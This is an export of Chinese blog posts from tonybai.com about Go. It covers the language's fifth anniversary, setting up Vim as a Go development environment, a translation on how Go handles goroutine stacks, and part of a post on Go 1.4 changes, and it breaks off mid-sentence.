都是用Go语言实现的，一些运作基础设置的公司，诸如Google、CloudFlare、Canonical、Digital Ocean、Github、Heroku以及微软也都在使用Go语言开发一些重量级的项目。\n那么将来会怎样呢？我们认为2015年将是Go语言大爆发的一年。\nGo 1.4，除了其新增的特性和bug修正外，它为实现一个新的低延迟垃圾收集器以及支 持在移动终端上运行Go奠定了基础。 预计Go1.4将在2014年12月1日正式发布。我们期望在Go 1.5中能出现新GC的身影，Go 1.5预计在2015年6月1日发布，它将使Go适合更加广泛的应用开发。我们迫不及待的想看到哪些领域的开发者会接受它。\n接下来会有更多的Go大事发生。11月15日，GothamGo将在纽约如期举行。2014年1月31日到 2月1日，布鲁塞尔将举行另一次Go DevRoot at FOSDEM。2015年2月19日到21日，在印度班加罗尔将举行GopherCon India大会。最初的GopherCon将在2015年7月份回到丹佛。2015年11月 dotGo大会将再次来到巴黎。\nGo团队将向届时到场的所有gophers表示衷心的感谢。为Go语言的下一个五年！\n为了庆祝Go诞生5周年，在未来的一个月里，Gopher Academy将会发布一系列由知名Go users撰写的文章，务必要去看看哦。\n","permalink":"https://tonybai.com/2014/11/12/go-5-years/","summary":"\u003cp\u003e2014年11月10日（美国当地时间），\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGolang\u003c/a\u003e的\u003ca href=\"http://blog.golang.org/\"\u003e官方博客\u003c/a\u003e 放出了Andrew Gerrand的一篇博文《\u003ca href=\"http://blog.golang.org/5years\"\u003eHalf a decade with Go\u003c/a\u003e》来纪念Go语言发布五周年。文章按时间顺序简要描述了Golang这五年来发展的 点点滴滴，并让全世界Gopher看到了Go可期的光明未来。考虑到这篇文章在墙外，不便于国内Gopher阅读，这里给出中文翻译版，希望能给中国大陆 的Gophers带来些帮助！\u003c/p\u003e","title":"Go，5周年"},{"content":"虽说sublimetext3+gosublime+gocode是目前较为 流行的Golang开发环境组合，但作为一名VIMer，没有一套得心应手的Vim for Golang dev心里总是过不去的。Golang虽然年轻，但即便是从Go 1版本发布(2012年3月28日)算起，掐指算来也有小三年了。全世界的开发者已经为Golang贡献了较为成熟的Vim插件了。有了这些插件，搭建出 一套高效的Golang开发环境还是不难的，网上也有大量的资料可以参考，其中就有vim-go作者自己发表的一篇文章《Go development environment for Vim》。不过看别人 写的与自己搭建体验的还是有大不同的，于是想来想去还是把整个过程记录下来。\n一、一个干净的环境\n找个干净的基础环境，方便确认每个搭建步骤后的效果：\nUbuntu 14.04 x86_64\nvim version 7.4.52\ngo version go1.4beta1 linux/amd64\n再准备一个编辑Go源码的测试源文件：\n//hellogolang.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Println(\u0026ldquo;Hello Golang!\u0026rdquo;)\n}\n用于验证每个搭建步骤后的变化。\n二、严格按照vim-go的官方说明逐一搭建\nVim-go是当前使用最为广泛的用于搭建Golang开发环境的vim插件，这里我同样使用vim-go作为核心和基础进行环境搭建的。vim-go利 用开源Vim插件管理器安装，gmarik/Vundle.vim是目前被推荐次数更多的Vim插件管理器，超过了pathogen。这里我们 就用vundle来作为Vim的插件管理工具。\n1、安装Vundle.vim\nVundle.vim的安装步骤如下：\nmkdir ~/.vim/bundle\ngit clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim\n创建~/.vimrc文件(如果你没有这个文件的话)，在文件顶部添加有关Vundle.vim的配置：\nset nocompatible \u0026quot; be iMproved, required\nfiletype off \u0026quot; required\n\u0026quot; set the runtime path to include Vundle and initialize\nset rtp+=~/.vim/bundle/Vundle.vim\ncall vundle#begin()\n\u0026quot; let Vundle manage Vundle, required\nPlugin \u0026lsquo;gmarik/Vundle.vim\u0026rsquo;\n\u0026quot; All of your Plugins must be added before the following line\ncall vundle#end() \u0026quot; required\nfiletype plugin indent on \u0026quot; required\n此时Vim仅安装了Vundle.vim这一个插件。编辑hellogolang.go时与编辑普通文本文件无异，一切都还是Vim的默认属性。\n2、安装Vim-go\n编辑~/.vimrc，在vundle#begin和vundle#end间增加一行：\nPlugin \u0026lsquo;fatih/vim-go\u0026rsquo;\n在Vim内执行 luginInstall，\nVundle.vim会在左侧打开一个Vundle Installer Preview子窗口，窗口下方会提示：“Processing \u0026lsquo;fatih/vim-go\u0026rsquo;”，待安装完毕后，提示信息变 成“Done!”。\n这时，我们可以看到.vim/bundle下多了一个vim-go文件夹：\n$ ls .vim/bundle/\nvim-go/ Vundle.vim/\n此时，再次编辑hellogolang.go，语法高亮有了， 保存时自动format（利用$GOBIN/gofmt）也有了，但其他高级功能，比如自动import缺失的 package、自动补齐仍然没有，我们还要继续安装一些东东。\n3、安装go.tools Binaries\nvim-go安装说明中提到所有必要的binary需要先安装好，比如gocode、godef、goimports等。\n通过:GoInstallBinaries，这些vim-go依赖的二进制工具将会自动被下载，并被安装到$GOBIN下或$GOPATH/bin下。（这个工具需要依赖git或hg，需要提前安装到你的OS中。）\n:GoInstallBinaries的执行是交互式的，你需要回车确认：\nvim-go: gocode not found. Installing github.com/nsf/gocode to folder /home/tonybai/go/bin\nvim-go: goimports not found. Installing code.google.com/p/go.tools/cmd/goimports to folder /home/tonybai/go/bin/\nvim-go: godef not found. Installing code.google.com/p/rog-go/exp/cmd/godef to folder /home/tonybai/go/bin/\nvim-go: oracle not found. Installing code.google.com/p/go.tools/cmd/oracle to folder /home/tonybai/go/bin/\nvim-go: gorename not found. Installing code.google.com/p/go.tools/cmd/gorename to folder /home/tonybai/go/bin/\nvim-go: golint not found. Installing github.com/golang/lint/golint to folder /home/tonybai/go/bin/\nvim-go: errcheck not found. Installing github.com/kisielk/errcheck to folder /home/tonybai/go/bin/\n不过这些代码多在code.google.com上托管，因此由于众所周知的原因，vim-go的自动安装很可能以失败告终，这样就需要你根据上 面日志中提到的各个工具的源码地址逐一去下载并本地安装。无法搭梯子的，可以通过http://gopm.io 下载相关包。\n安装后，$GOBIN下的新增Binaries如下：\n-rwxr-xr-x 1 tonybai tonybai 5735552 11?? 7 11:03 errcheck*\n-rwxr-xr-x 1 tonybai tonybai 9951008 11?? 7 10:33 gocode*\n-rwxr-xr-x 1 tonybai tonybai 5742800 11?? 7 11:07 godef*\n-rwxr-xr-x 1 tonybai tonybai 4994120 11?? 7 11:00 goimports*\n-rwxr-xr-x 1 tonybai tonybai 5750152 11?? 7 11:03 golint*\n-rwxr-xr-x 1 tonybai tonybai 6381832 11?? 7 11:01 gorename*\n-rwxr-xr-x 1 tonybai tonybai 2954392 11?? 7 10:38 gotags*\n-rwxr-xr-x 1 tonybai tonybai 9222856 11?? 7 11:01 oracle*\n安装好这些Binaries后，我们来看看哪些特性被支持了。\n再次编辑hellogolang.go：\n- 新起一行输入fmt.，然后ctrl+x, ctrl+o，Vim 会弹出补齐提示下拉框，不过并非实时跟随的那种补齐，这个补齐是由gocode提供的。\n– 输入一行代码：time.Sleep(time.Second)，执行:GoImports，Vim会自动导入time包。\n– 将光标移到Sleep函数上，执行:GoDef或命令模式下敲入gd，Vim会打开$GOROOT/src/time/sleep.go中 的Sleep函数的定义。执行:b 1返回到hellogolang.go。\n– 执行:GoLint，运行golint在当前Go源文件上。\n– 执行:GoDoc，打开当前光标对应符号的Go文档。\n– 执行:GoVet，在当前目录下运行go vet在当前Go源文件上。\n– 执行:GoRun，编译运行当前main package。\n– 执行:GoBuild，编译当前包，这取决于你的源文件，GoBuild不产生结果文件。\n– 执行:GoInstall，安装当前包。\n– 执行:GoTest，测试你当前路径下地_test.go文件。\n– 执行:GoCoverage，创建一个测试覆盖结果文件，并打开浏览器展示当前包的情况。\n– 执行:GoErrCheck，检查当前包种可能的未捕获的errors。\n– 执行:GoFiles，显示当前包对应的源文件列表。\n– 执行:GoDeps，显示当前包的依赖包列表。\n– 执行:GoImplements，显示当前类型实现的interface列表。\n– 执行:GoRename [to]，将当前光标下的符号替换为[to]。\n三、其他插件\n到目前为止，我们还有若干特性没能实现，重点是：\n– 实时跟随的代码补齐\n– Code Snippet support\n1、安装YCM(Your Complete Me)\n在~/.vimrc中添加一行：\nPlugin \u0026lsquo;Valloric/YouCompleteMe\u0026rsquo;\n保存退出后，再打开~/.vimrc并执行 luginInstall。\n安装完后，下面的提示栏提示：\nycm_client_support.[so|pyd|dll] and ycm_core.[so|pyd|dll] not detected; you need to compile YCM before using it. Read the docs!\n似乎YCM是用了C++编写的模块对性能进行优化了，于是需要手工编译YCM的support库。步骤如下：\nsudo apt-get install build-essential cmake python-dev\ncd ~/.vim/bundle/YouCompleteMe\n./install.sh\n构建（编译C++很慢，需要耐心的等一会）ok后，再打开hellogolang.go，逐字的实时补全功能就具备了！Cool！\n2、安装 UltiSnips\nVim-go默认是用ultisnips引擎插件，但这个插件需要单独安装。\n同样，我们利用vundle来安装它，在~/.vimrc中添加一行：\nPlugin \u0026lsquo;SirVer/ultisnips\u0026rsquo;\nsnippet和snippet引擎是分开的。ultisnips是引擎，vim-go的go snippet定义在这里\nhttps://github.com/fatih/vim-go/blob/master/gosnippets/snippets/go.snip\n编辑hellogolang.go，按照go.snip中的说明，我们输入func后敲击tab键，我们发现期待的：\nfunc name(params) type {\n}\n并没有出现。反倒是YCM的下拉提示显示在那里让你选择。似乎是ultisnips和YCM的键组合冲突了。ultisnips官方说明也的确如 此。ultisnips默认是用Tab展开snippet的，而YCM中的Tab用来选择补齐项，我们可以通过设置来避免这些。\n我们在.vimrc中添加如下setting：\n\u0026quot; YCM settings\nlet g:ycm_key_list_select_completion = [\u0026rsquo;\u0026rsquo;, \u0026lsquo;\u0026rsquo;]\nlet g:ycm_key_list_previous_completion = [\u0026rsquo;\u0026rsquo;]\nlet g:ycm_key_invoke_completion = \u0026lsquo;\u0026rsquo;\n\u0026quot; UltiSnips setting\nlet g:UltiSnipsExpandTrigger=\u0026quot;\u0026quot;\nlet g:UltiSnipsJumpForwardTrigger=\u0026quot;\u0026quot;\nlet g:UltiSnipsJumpBackwardTrigger=\u0026quot;\u0026quot;\n这样让YCM通过回车和向下的箭头来做list item正向选择，通过向上箭头做反向选择。通过ctrl+space来原地触发补齐提示。\n而ultisnips则是用tab做snippet展开，ctrl+b正向切换占位符，ctrl+z反向切换占位符。\n3、安装molokai theme\nMolokai theme是TextMate的theme的vim port，看着截图挺不错的，于是也安装了一下。\nmkdir ~/.vim/colors\n下载或copy https://github.com /fatih/molokai/blob/master/colors/molokai.vim到~/.vim /colors目录下\n在.vimrc添加一行：colorscheme molokai\n四、.vimrc\n前面讲到了vim-go有许多命令，在:xx模式下执行多显不便，于是你可以定义一些Mappings，比如：\n\u0026quot; set mapleader\nlet mapleader = \u0026ldquo;,\u0026rdquo;\n\u0026quot; vim-go custom mappings\nau FileType go nmap s (go-implements)\nau FileType go nmap i (go-info)\nau FileType go nmap gd (go-doc)\nau FileType go nmap gv (go-doc-vertical)\nau FileType go nmap r (go-run)\nau FileType go nmap b (go-build)\nau FileType go nmap t (go-test)\nau FileType go nmap c (go-coverage)\nau FileType go nmap ds (go-def-split)\nau FileType go nmap dv (go-def-vertical)\nau FileType go nmap dt (go-def-tab)\nau FileType go nmap e (go-rename)\n这样我们在命令模式下，输入\u0026lt;,\u0026gt;+就是运行 当前main包，以此类推。\n另外下面这个配置使得我们在save file时既可以格式化代码，又可以自动插入包导入语句（或删除不用的包导入语句）。\n\u0026quot; vim-go settings\nlet g:go_fmt_command = \u0026ldquo;goimports\u0026rdquo;\n到这里，我们的Vim Golang开发环境就基本搭建好了。snippet+实时补齐让你Coding如飞！\n五、附录：.vimrc文件\n下面是截至目前为止全量.vimrc文件的内容：\nset nocompatible \u0026quot; be iMproved, required\nfiletype off \u0026quot; required\ncolorscheme molokai\n\u0026quot; set the runtime path to include Vundle and initialize\nset rtp+=~/.vim/bundle/Vundle.vim\ncall vundle#begin()\n\u0026quot; let Vundle manage Vundle, required\nPlugin \u0026lsquo;gmarik/Vundle.vim\u0026rsquo;\nPlugin \u0026lsquo;fatih/vim-go\u0026rsquo;\nPlugin \u0026lsquo;Valloric/YouCompleteMe\u0026rsquo;\nPlugin \u0026lsquo;SirVer/ultisnips\u0026rsquo;\n\u0026quot; All of your Plugins must be added before the following line\ncall vundle#end() \u0026quot; required\nfiletype plugin indent on \u0026quot; required\n\u0026quot; set mapleader\nlet mapleader = \u0026ldquo;,\u0026rdquo;\n\u0026quot; vim-go custom mappings\nau FileType go nmap s (go-implements)\nau FileType go nmap i (go-info)\nau FileType go nmap gd (go-doc)\nau FileType go nmap gv (go-doc-vertical)\nau FileType go nmap r (go-run)\nau FileType go nmap b (go-build)\nau FileType go nmap t (go-test)\nau FileType go nmap c (go-coverage)\nau FileType go nmap ds (go-def-split)\nau FileType go nmap dv (go-def-vertical)\nau FileType go nmap dt (go-def-tab)\nau FileType go nmap e (go-rename)\n\u0026quot; vim-go settings\nlet g:go_fmt_command = \u0026ldquo;goimports\u0026rdquo;\n\u0026quot; YCM settings\nlet g:ycm_key_list_select_completion = [\u0026rsquo;\u0026rsquo;, \u0026lsquo;\u0026rsquo;]\nlet g:ycm_key_list_previous_completion = [\u0026rsquo;\u0026rsquo;, \u0026lsquo;\u0026rsquo;]\nlet g:ycm_key_invoke_completion = \u0026lsquo;\u0026rsquo;\n\u0026quot; UltiSnips settings\nlet g:UltiSnipsExpandTrigger=\u0026quot;\u0026quot;\nlet g:UltiSnipsJumpForwardTrigger=\u0026quot;\u0026quot;\nlet g:UltiSnipsJumpBackwardTrigger=\u0026quot;\u0026quot;\n六、Mac OS X下Vim配置\n1、MacVim替换\nMac OS X下的配置方法稍有不同，因为Mac下系统自带的Vim是7.3版本，YCM要求Vim 7.3.584+版本，因此我们需要安装MacVim以替代自带的Vim，目前MacVim最新版本是version 7.4.258，完全满足要求。在这里https://github.com/b4winckler/macvim/releases可以下载到最新的MacVim，下载后的MacVim可以通过如下步骤替换原Vim。\n原Vim安装到/usr/bin/vim下。\nMacVim解压后如下：\n[tony@tonydeair ~/Downloads/MacVim-snapshot-73]$ls\nMacVim.app/ README.txt mvim*\n我们执行以下步骤即可完成vim替换工作：\nsudo mv /usr/bin/vim /usr/bin/vim.bak //备份一下原vim\ncp mvim /usr/local/bin/\nsudo ln -s /usr/local/bin/mvim /usr/bin/vim\n2、插件安装和配置\n按照上面Linux Vim的插件安装步骤和配置方法我们来配置MacVim，配置后，我们发现除了molokai的colorscheme没有生效外，其余插件工作均正常。而所有.go文件打开，均无molokai方案的颜色高亮，甚至连一般的颜色高亮都没有了。经过不断调试，发现了一个解决方法，在~/.vimrc中添加几行代码即可：\nsyntax on\nau BufRead,BufNewFile *.go set filetype=go\ncolorscheme molokai\n但这几行配置代码如果放在~/.vimrc的前面，则UltiSnips会无法工作，我将其移到~/.vimrc文件的末尾，这样就不存在冲突了（看来.vimrc的插件配置的先后顺序会对插件功能的正常使用有影响）。漂亮的molokai colorscheme也会展现出来！\n","permalink":"https://tonybai.com/2014/11/07/golang-development-environment-for-vim/","summary":"\u003cp\u003e虽说\u003ca href=\"http://www.sublimetext.com/3\"\u003esublimetext3\u003c/a\u003e+\u003ca href=\"https://github.com/DisposaBoy/GoSublime\"\u003egosublime\u003c/a\u003e+\u003ca href=\"https://github.com/nsf/gocode\"\u003egocode\u003c/a\u003e是目前较为 流行的\u003ca href=\"http://tonybai.com/tag/go\"\u003eGolang\u003c/a\u003e开发环境组合，但作为一名VIMer，没有一套得心应手的\u003ca href=\"http://www.vim.org/\"\u003eVim\u003c/a\u003e for Golang dev心里总是过不去的。Golang虽然年轻，但即便是从\u003ca href=\"http://tonybai.com/2014/10/25/golang-history/\"\u003eGo 1版本发布\u003c/a\u003e(2012年3月28日)算起，掐指算来也有小三年了。全世界的开发者已经为Golang贡献了较为成熟的Vim插件了。有了这些插件，搭建出 一套高效的Golang开发环境还是不难的，网上也有大量的资料可以参考，其中就有\u003ca href=\"https://github.com/fatih/vim-go\"\u003evim-go\u003c/a\u003e作者自己发表的一篇文章《\u003ca href=\"http://blog.gopheracademy.com/vimgo-development-environment/\"\u003eGo development environment for Vim\u003c/a\u003e》。不过看别人 写的与自己搭建体验的还是有大不同的，于是想来想去还是把整个过程记录下来。\u003c/p\u003e","title":"Golang开发环境搭建-Vim篇"},{"content":"Go 1.4Beta1刚刚发布，在Go 1.4Beta1中，Go语言的stack处理方式由之前的\u0026quot;segmented stacks\u0026quot;改为了\u0026quot;continuous stacks\u0026quot;。关于Go语言对stack的处理机制、发展历史、存在问题等，CloudFlare的一篇官方blog进行了系统的阐述，这里的内容就是 翻译自CloudFlare的那篇blog：《How Stacks are Handled in Go》。\n在CloudFlare，我们使用Go语言实现各种服务和应用。在这篇博文中，我们将带领大家深入挖掘一些Go的某些纷繁复杂的技术细节。\nGo语言的重要特性之一是goroutines。它们是代价低廉、协同调度的执行线程，被用于实现各种操作，诸如timeout、生成器、相互竞 争的后端程序。为了使goroutines可以适应更多地任务，我们不仅需要保证每个goroutines的内存最小占用量，还要保证人们可以使 用最低配置将它们启动起来。\n为了实现这个目标，Go语言采用了栈管理，这一与其他编程语言类似的方案，但在具体实现层面，又与其他语言有着较大的不同。\n一、线程栈(thread stacks)介绍\n在我们研究Go的栈处理方式之前，我们先来看看传统语言，比如C是如何进行栈管理的。\n当你启动一个C实现的thread时，C标准库会负责分配一块内存作为这个线程的栈。标准库分配这块内存，告诉内核它的位置并让内核处理这个线程 的执行。不过当这块内存不够用时，问题就来了，我们来看一下下面这个函数：\nint a(int m, int n) {\nif (m == 0) {\nreturn n + 1;\n} else if (m \u0026gt; 0 \u0026amp;\u0026amp; n == 0) {\nreturn a(m – 1, 1);\n} else {\nreturn a(m – 1, a(m, n – 1));\n}\n}\n这个函数大量使用递归，执行a(4, 5)就会降所有栈内存耗尽。要解决这个问题，你可以调整标准库给线程栈分配的内存块的大小。但是全线提高栈大小意味着每个线程都会提高栈的内存使用量，即 便它们不是大量采用递归方式的。这样一来，你将用光所有内存，即便你的程序还尚未使用栈上的内存。\n另外一种可选的解决方法则是为每个线程单独确定栈大小。这样一来你就不得不完成这样的任务：根据每个线程的需要，估算它们的栈内存的大小。这将是 创建线程的难度超出我们的期望。想搞清楚一般情况下一个线程栈需要多少内存是不可行的，即便是通常情况也是非常困难的。\n二、Go是如何应对这个问题的\nGo运行时会试图按需为goroutine提供它们所需要的栈空间，而不是为每个goroutine分配一个固定大小的栈空间。这样可以把程序员 们从决定栈空间大小的烦心事中解脱了出来。不过Go核心团队正在尝试切换到另外一种方案，这里我将尝试阐述旧方案以及它的缺点，新方案以及为何要 做出如此改变。\n三、分段栈(Segmented Stacks)\n分段栈(segmented stacks)是Go语言最初用来处理栈的方案。当创建一个goroutine时，Go运行时会分配一段8K字节的内存用于栈供goroutine运行使 用，我们让goroutine在这个栈上完成其任务处理。\n当我们用光这8K字节的栈空间后，问题随之而来。为了解决这个问题，每个go函数在函数入口处都会有一小段代码(called prologue)，这段代码会检查是否用光了已分配的栈空间，如果用光了，这段代码会调用morestack函数。\nmorestack函数会分配一段新内存用作栈空间，接下来它会将有关栈的各种数据信息写入栈底的一个struct中(译注：下图中Stack info)，包括上一段栈的地址。有点我们拥有了一个新的栈段(stack segment)，我们将重启goroutine，从导致栈空间用光的那个函数（译注：下图中的Foobar）开始执行。这就是所谓的“栈分裂 (stack split)”。\n下面的栈示意图刚好是我们进行栈分裂后的情形：\n在新栈的底部，我们插入了一个栈入口函数lessstack。我们不会调用该函数，设置这个函数就是用于我们从那个导致我们用光栈空间的函数(译 注：Foobar)返回时用的。当那个函数(译注：Foobar)返回时，我们回到lessstack（这个栈帧），lessstack会查找 stack底部的那个struct，并调整栈指针(stack pointer)，使得我们返回到前一段栈空间。这样做之后，我们就可以将这个新栈段(stack segment)释放掉，并继续执行我们的程序了。\n四、分段栈(Segmented stacks)的问题\n分段栈给了我们具备按需伸缩能力的栈。程序员们无需担心计算栈的大小了，启动一个新的goroutine代价低廉并且程序员不会知道栈将增长多 大。\n这就是直到目前Go语言处理stack增长的方法，但是这个方法有个瑕疵。那就是栈缩小会是一个相对代价高昂的操作。如果你在一个循环遇到栈分裂 (stack split)，你会最有感触。一个函数会增加栈空间，做栈分裂，返回并释放栈段(stack segment)。如果你在一个循环中进行这些，你会付出很大的代价（性能方面）。\n这就是所谓的“hot split”问题。它也是Go核心开发组更换到一个新的栈管理方案-栈拷贝(stack copying)的主要原因。\n五、栈拷贝(stack copying)\n栈拷贝初始阶段与分段栈类似。goroutine在栈上运行着，当用光栈空间，它遇到与旧方案中相同的栈溢出检查。但是与旧方案采用的保留一个返 回前一段栈的link不同，新方案创建一个两倍于原stack大小的新stack，并将旧栈拷贝到其中。这意味着当栈实际使用的空间缩小为原先的 大小时，go运行时不用做任何事情。栈缩小是一个无任何代价的操作。此外，当栈再次增长时，运行时也无需做任何事情，我们只需要重用之前分配的空 闲空间即可。\n六、栈是怎么拷贝的\n拷贝栈听起来简单，但实际上它是一件有难度的事情。因为Go中栈上的变量都有自己的地址，一旦你拥有指向栈上变量的指针，这种情况下你就无法如你 所愿。当你移动栈时，指向原栈的指针都将变为无效指针。\n幸运的是，只有在栈上分配的指针才能指向栈上的地址。这点对于内存安全是极其必要的，否则，程序可能会访问到已不再使用了的栈上的地址。\n由于我们需要知道那些需要被垃圾收集器回收的指针的位置，因此我们知道栈上哪些部分是指针。当我们移动栈时，我们可以更新栈里地指针使其指向新的 目标地址，并且所有相关的指针都要被照顾到。\n由于我们使用垃圾回收的信息来协助完成栈拷贝，因此所有出现在栈上的函数都必须具备这些信息。但事情不总是这样的。因为Go运行时的大部分代码是 用C编写的，大量的运行时调用没有指针信息可用，这样就无法进行拷贝。一旦这种情况发生，我们又不得不退回到分段栈方案，并接受为其付出的高昂代 价。\n这就是当前Go运行时开发者大规模重写Go runtime的原因。那些无法用Go重写的代码，比如调度器和垃圾收集器的内核，将在一个特殊的栈上执行，这个特殊栈的size由runtime开发者 单独计算确定。\n除了让栈拷贝成为可能之外，这个方法还会使得我们在未来能够实现出并发垃圾回收等特性。\n七、关于虚拟内存\n另外一种不同的栈处理方式就是在虚拟内存中分配大内存段。由于物理内存只是在真正使用时才会被分配，因此看起来好似你可以分配一个大内存段并让操 作系统处理它。下面是这种方法的一些问题\n首先，32位系统只能支持4G字节虚拟内存，并且应用只能用到其中的3G空间。由于同时运行百万goroutines的情况并不少见，因此你很可 能用光虚拟内存，即便我们假设每个goroutine的stack只有8K。\n第二，然而我们可以在64位系统中分配大内存，它依赖于过量内存使用。所谓过量使用是指当你分配的内存大小超出物理内存大小时，依赖操作系统保证 在需要时能够分配出物理内存。然而，允许过量使用可能会导致一些风险。由于一些进程分配了超出机器物理内存大小的内存，如果这些进程使用更多内存 时，操作系统将不得不为它们补充分配内存。这会导致操作系统将一些内存段放入磁盘缓存，这常常会增加不可预测的处理延迟。正是考虑到这个原因，一 些新系统关闭了对过量使用的支持。\n八、结论\n为了使goroutine使用代价更加低廉，更快速，适合更多task情况，Go开发组做出了很多努力。栈管理只是其中一小部分。如果你想了解更 多关于栈拷贝的细节，可以参考其设计文档。此外，如果你想了解更多有关Go运行 时重写的细节，这里有一个mail list。\n","permalink":"https://tonybai.com/2014/11/05/how-stacks-are-handled-in-go/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2014/11/04/some-changes-in-go-1-4/\"\u003eGo 1.4Beta1\u003c/a\u003e刚刚发布，在\u003ca href=\"http://tip.golang.org/doc/go1.4\"\u003eGo 1.4Beta1\u003c/a\u003e中，Go语言的stack处理方式由之前的\u0026quot;segmented stacks\u0026quot;改为了\u0026quot;continuous stacks\u0026quot;。关于Go语言对stack的处理机制、发展历史、存在问题等，\u003ca href=\"https://www.cloudflare.com/\"\u003eCloudFlare\u003c/a\u003e的一篇官方blog进行了系统的阐述，这里的内容就是 翻译自CloudFlare的那篇blog：《\u003ca href=\"http://blog.cloudflare.com/how-stacks-are-handled-in-go/\"\u003eHow Stacks are Handled in Go\u003c/a\u003e》。\u003c/p\u003e","title":"Go语言是如何处理栈的"},{"content":"在Go 1.3发布半年过去后，Go核心项目组于本月初发布了Go 1.4 Beta1版本。这个版本的几个变化点虽然不是革命性的，但对后续Go语言的发展来说，打下了基础，定下了基调。这里就几个值得关注的变化点结合Go 1.4代码进行一些简单描述，希望大家能对Go 1.4有个感性的认知和了解。\nGo 1.4依旧保持了Go 1兼容性的承诺，你的已有代码几乎无需任何改动就可以通过Go 1.4的编译并运行。(以下是我的测试环境：go version go1.3 darwin/amd64 vs. go version go1.4beta1 linux/amd64）\n一、语言变化\n1、For-range循环\n在Go 1.3及以前，for-range循环具有两种形式：\nfor k, v := range x {\n…\n}\n和\nfor k := range x {\n…\n}\n问题：如果我们不关心循环中的值，我们只关心循环本身，我们仍然要提供一个变量，或用_占位。\nfor _ = range x {\n…\n}\n下面这样的语法在Go 1.3及以前是无法编译通过的：\nfor range x {\n…\n}\n不过Go 1.4支持这种形式的语法，它使得代码更加clean，虽然它可能很少会被使用到。\n例子：\n//testforrange.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nvar a [5]int = [5]int{2, 3, 4, 5, 6}\nfor k, v := range a {\nfmt.Println(k, v)\n}\nfor k := range a {\nfmt.Println(k)\n}\nfor _ = range a {\nfmt.Println(\u0026ldquo;print without care about the key and value\u0026rdquo;)\n}\nfor range a {\nfmt.Println(\u0026ldquo;new syntax – print without care about the key and value\u0026rdquo;)\n}\n}\nGo 1.3编译出错：\n$go run testforrange.go\n# command-line-arguments\n./testforrange.go:19: syntax error: unexpected range, expecting {\n./testforrange.go:22: syntax error: unexpected }\nGo 1.4编译成功并输出正确结果：\n0 2\n1 3\n2 4\n3 5\n4 6\n0\n1\n2\n3\n4\nprint without care about the key and value\nprint without care about the key and value\nprint without care about the key and value\nprint without care about the key and value\nprint without care about the key and value\nnew syntax – print without care about the key and value\nnew syntax – print without care about the key and value\nnew syntax – print without care about the key and value\nnew syntax – print without care about the key and value\nnew syntax – print without care about the key and value\n2、通过**T调用方法\n下面这个例子：\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\ntype T int\nfunc (T) M() {\nfmt.Println(\u0026ldquo;Call M\u0026rdquo;)\n}\nvar x **T\nfunc main() {\nx.M()\n}\n按照Go 1.4官方release note的说法，1.3版本及以前的gc和gccgo都会正常接受这种调用方式。但Go 1规范只允许自动在x前面加一个解引用，而不是两个，因此这个是有悖于定义的。Go 1.4强制禁止这种调用。\n不过根据我实际的测试，Go 1.3和Go 1.4针对上面代码都会出现同样地编译错误。\n$go run testdoubledeferpointer.go\n# command-line-arguments\n./testdoubledeferpointer.go:14: calling method M with receiver x (type **T) requires explicit dereference\n二、支持的操作系统以及处理器体系架构的变化\n这个无法演示。不过一个主要的变化就是Go 1.4可以构建出运行于ARM处理器Android操作系统上的二进制程序了。使用go.mobile库中的支持包，Go 1.4也可以构建出可以被Android应用加载的.so库。\n三、兼容性变化\n人们通过unsafe包并利用Go的内部实现细节和数据的机器表示形式来绕过Go语言类型系统的约束。Go的设计者们认为这是对Go兼容性规范的 不尊重，在Go 1.4中，Go核心组正式宣布unsafe code不再保证其兼容性。这次Go 1.4并没有针对此做任何代码变动，只是一个clarification而已。\n四、实现和工具的变化\n1、运行时(runtime)的变化\nGo 1.3及以前版本，Go语言的runtime（垃圾收集、并发支持、interface管理、maps、slices、strings等）主要由C语言和 少量汇编语言实现的。在1.4版本中，很多代码被替换成了用Go自身实现，这样垃圾回收器可以扫描程序运行时栈，获取活跃变量的精确信息。这个变 化很大，但对程序应该没有语义上的影响。\n这次重写使得垃圾回收器变得更加精确，这意味着它知道所有程序中活跃指针的位置。这些相关改变将减小heap的大小，总体上大约减少 10%~30%。\n这样做的结果是栈也不再需要是分段的(segmented)了，消除了“hot split”的问题。如果一个stack到达了使用上限，Go将分配一个新的更大的stack，相应goroutine中的所有活跃的栈帧将被复制到新 stack上，所有指向栈的指针将被更新。在某些场景下，其性能将会变得显著提升，并且这样修改后，其性能更具可预测性。\n连续栈(contiguous stacks)的使用使得栈的初始Size可以更小，在Go 1.4中goroutine的初始栈大小从8192字节缩小为2048字节。（正式发布时也许会改为4096）。\ninterface值类型的实现也做了调整。在之前的发布版中，interface值内部用一个字(word)来承载，要么是一个指针，要么是一 个单字（one-word）大小的纯量值，这取决于interface值变量中具体存储的是什么对象。这个实现会给垃圾收集器带来诸多困难，因此 在Go 1.4版本中interface值内部就用指针表示。在运行的程序中，绝大多数interface值都是指针，因此这个影响很小。不过那些在 interface值类型变量中存储整型值的程序将会有更多的内存分配。\n2、gccgo的状态\nGcc和Go两个项目的发布计划不是同步的，GCC 4.9版本包含了实现了1.2规范的gccgo，下一个发布版gcc 5.0将可能包含实现了1.4规范的gccgo。\n3、internal包（内部包）\nGo以package为基本逻辑单元组织代码。Go 1.3及之前版本的Go语言实际上只支持两种形式Package内符号的可见性：本地的(unexported)和全局的(exported)。有些时候 我们希望一些包并非能被所有外部包所导入，但却能被其**“临近”**的包所导入和访问。但之前的Go语言不具备这种特性。Go 1.4引入了\u0026quot;internal\u0026quot;包的概念，导入这种internal包的规则约束如下：\n如果导入代码本身不在以\u0026quot;internal\u0026quot;目录的父目录为root的目录树中，那么 不允许其导入路径(import path)中包含internal元素。\n例如：\n– a/b/c/internal/d/e/f只可以被以a/b/c为根的目录树下的代码导入，不能被a/b/g下的代码导入。\n– $GOROOT/src/pkg/internal/xxx只能被标准库($GOROOT/src)中的代码所导入。（注：Go 1.4 取消了$GOROOT/src/pkg，标准库都移到$GOROOT/src下了)。\n– $GOROOT/src/pkg/net/http/internal只能被net/http和net/http/*的包所导入\n– $GOPATH/src/mypkg/internal/foo只能被$GOPATH/src/mypkg包的代码所导入\n对于Go 1.4该规则首先强制应用于$GOROOT下。Go 1.5将扩展应用到$GOPATH下。\n4、权威导入路径(import 